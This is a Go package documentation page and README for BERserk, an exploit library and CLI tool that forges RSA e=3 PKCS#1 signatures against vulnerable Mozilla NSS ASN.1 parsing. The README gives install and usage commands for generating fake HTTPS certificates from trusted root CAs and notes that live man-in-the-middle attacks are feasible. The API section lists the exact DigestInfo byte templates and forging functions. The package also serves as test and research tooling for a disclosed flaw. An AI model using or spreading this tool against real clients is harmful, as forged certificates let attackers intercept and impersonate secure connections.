BERserk

package module
v0.0.0-...-566f305 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Mar 8, 2015 License: MIT Imports: 7 Imported by: 0

README

BERserk

A Go implementation of the BERserk attack against Mozilla NSS ASN.1 parsing of PKCS#1 RSA signatures with e = 3. Complete of a certificate generation tool, works with CAs in the trust store.

The attack

The attack exploits Yet Another ASN.1 Parsing Bug in NSS, affecting Firefox 32 and Chrome 37. tl;dr: you can hide garbage in the long length fields of ASN.1 and leverage that to generate fake signatures for keys with e = 3. Bleichenbacher '06 never dies.

You can go read the original Intel Security papers, but be warned that the first is completely generic (even if well detailed) and the second is focused on the vulnerability but glosses over some crucial points. At least in my experience.

You can read what Adam Langley or Mozilla have to say.

This work

BERserk was big but it happened on the same day as ShellShock and no one noticed. So much that there isn't neither a live test for it nor a tool to exploit it. So here we are.

github.com/FiloSottile/BERserk.Signer is a Go crypto.Signer that, given a RSA public key with e = 3 and length 1024 or 2048, will generate (SHA1) PKCS#1 signatures that exploit BERserk without knowledge of the private key.

GoDoc will help you if you use this as a library.

The tool

There's also a command line tool that generates a HTTPS certificate given a fitting CA and a CSR in cfssl format.

There are a few e = 3 root CAs, so exploitation is possible in the wild (against affected versions). A signature is generated in less that 1s so live MitM is also possible.

screenshot

Install with

go get github.com/FiloSottile/BERserk/BERserker

Use like

BERserker CA.pem csr.json | cfssljson -bare

NOTE: in order to use a custom crypto.Signer for x509 signing BERserker relies on a recent change in Go stdlib. It's not in 1.4, it'll probably be in 1.5, or you can compile Go tip. Otherwise, you'll get this error:

x509: only RSA and ECDSA private keys supported

Demo

There's a live demo at https://berserk.filippo.io

Authors

Documentation

Overview

A Go implementation of the BERserk attack against Mozilla NSS ASN.1 parsing of PKCS#1 RSA signatures with e = 3.

BERserk was big but it happened on the same day as ShellShock and no one noticed. So much that there isn't neither a live test for it nor a tool to exploit it. So here we are.

See also https://github.com/FiloSottile/BERserk/blob/master/README.md

Index

Constants

This section is empty.

Variables

View Source
var (
	MINUS_ONE = big.NewInt(-1)
	ONE       = big.NewInt(1)
	TWO       = big.NewInt(2)
	THREE     = big.NewInt(3)
)
View Source
var (
	RSA1024SHA1DigestInfoTemplate = &DigestInfoTemplate{
		BitLen: 1024,
		Prefix: []byte{
			0x00, 0x01, 0xFF, 0x00,
			0x30,
			0xD9,
		},

		Suffix: []byte{
			0x00, 0x00, 0x00, 0x21,
			0x30, 0x09,
			0x06, 0x05,
			0x2B, 0x0E, 0x03, 0x02, 0x1A,
			0x05, 0x00,
			0x04, 0x14,
		},
		HashLen: 20,
	}
	RSA2048SHA1DigestInfoTemplate = &DigestInfoTemplate{
		BitLen: 2048,
		Prefix: []byte{
			0x00, 0x01, 0x00,
			0x30,
			0xDB,
		},

		Middle: []byte{
			0x00, 0x00, 0x00, 0xA0,
			0x30,
			0xFF,
		},
		MiddleOffset: 123,
		Suffix: []byte{
			0x00, 0x00, 0x00, 0x09,
			0x06, 0x05,
			0x2B, 0x0E, 0x03, 0x02, 0x1A,
			0x05, 0x00,
			0x04, 0x14,
		},
		HashLen: 20,
	}
)

Functions

func BigIntCubeRootFloor

func BigIntCubeRootFloor(n *big.Int) *big.Int

func BigIntSquareRootFloor

func BigIntSquareRootFloor(n *big.Int) *big.Int

func BruteforceMiddle

func BruteforceMiddle(high, low, target []byte, offset int) ([]byte, error)

func CubeRootPrefix

func CubeRootPrefix(prefix []byte, bitLen int) ([]byte, error)

func CubeRootSuffix

func CubeRootSuffix(suffix []byte) ([]byte, error)

func RSA2048SHA1Middle

func RSA2048SHA1Middle(high, low, target []byte, offset int) ([]byte, error)

func SignPKCS1v15

func SignPKCS1v15(bitLen int, hash crypto.Hash, hashed []byte) (s []byte, err error)

SignPKCS1v15 is the core generic implementation of BERserk. It will generate a signature of hashed that will look valid for any RSA public key of the given length (to implementations vulnerable to BERserk).

ErrRetry is returned when a signature can't be generated for the specific input. Change the message and retry.

bitLen is the length of the public key, only 1024 and 2048 are supported. hash is the function applied to the message to get hashed. Only hash == crypto.SHA1 is supported.

Types

type DigestInfoTemplate

type DigestInfoTemplate struct {
	Prefix, Middle, Suffix        []byte
	BitLen, MiddleOffset, HashLen int
}

type ErrRetry

type ErrRetry string

ErrRetry is returned when a signature can't be generated for the specific input. Change the message and retry.

Currently mostly happens because the hashed message is required to be odd.

func (ErrRetry) Error

func (e ErrRetry) Error() string

type Signer

type Signer struct {
	// contains filtered or unexported fields
}

Signer is a crypto.Signer that given a x509.Certificate with a RSA public key with e = 3 and length 1024 or 2048, will generate PKCS#1 signatures that exploit BERserk without knowledge of the private key.

func New

New will return a new Signer that generates signatures that will look valid for the given CA certificate.

ca must have a RSA key with length 1024 or 2048 and exponent 3.

func (*Signer) Public

func (s *Signer) Public() crypto.PublicKey

Public returns the Signer's CA RSA public key

func (*Signer) Sign

func (s *Signer) Sign(rand io.Reader, msg []byte, opts crypto.SignerOpts) (signature []byte, err error)

Sign will generate a PKCS#1 signature of msg that will be accepted as valid by BERserk affected validators.

ErrRetry is returned when a signature can't be generated for the specific input. Change a variable field (i.e. serial number) in the message and retry.

rand is ignored and can be nil. Only opts.HashFunc() == crypto.SHA1 is supported.

Directories

Path Synopsis
A BERserk certificate generation tool based on cfssl and crypto.Signer.
A BERserk certificate generation tool based on cfssl and crypto.Signer.
_vendor
github.com/cloudflare/cfssl/auth
Package auth implements an interface for providing CFSSL authentication.
Package auth implements an interface for providing CFSSL authentication.
github.com/cloudflare/cfssl/config
Package config contains the configuration logic for CF-SSL.
Package config contains the configuration logic for CF-SSL.
github.com/cloudflare/cfssl/csr
Package csr implements certificate requests for CF-SSL.
Package csr implements certificate requests for CF-SSL.
github.com/cloudflare/cfssl/errors
Package errors provides error types returned in CF SSL.
Package errors provides error types returned in CF SSL.
github.com/cloudflare/cfssl/helpers
Package helpers implements utility functionality common to many CF-SSL packages.
Package helpers implements utility functionality common to many CF-SSL packages.
github.com/cloudflare/cfssl/initca
Package initca contains code to initialise a certificate authority, generating a new root key and certificate.
Package initca contains code to initialise a certificate authority, generating a new root key and certificate.
github.com/cloudflare/cfssl/log
Package log implements a wrapper around the Go standard library's logging package.
Package log implements a wrapper around the Go standard library's logging package.
github.com/cloudflare/cfssl/signer
Package signer implements certificate signature functionality for CF-SSL.
Package signer implements certificate signature functionality for CF-SSL.
github.com/cloudflare/cfssl/signer/local
Package local implements certificate signature functionality for CF-SSL.
Package local implements certificate signature functionality for CF-SSL.
github.com/cloudflare/cfssl/signer/pkcs11
Package pkcs11 implements support for PKCS #11 signers.
Package pkcs11 implements support for PKCS #11 signers.
github.com/cloudflare/cfssl/signer/universal
Package universal implements a signer that can do remote or local
Package universal implements a signer that can do remote or local

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL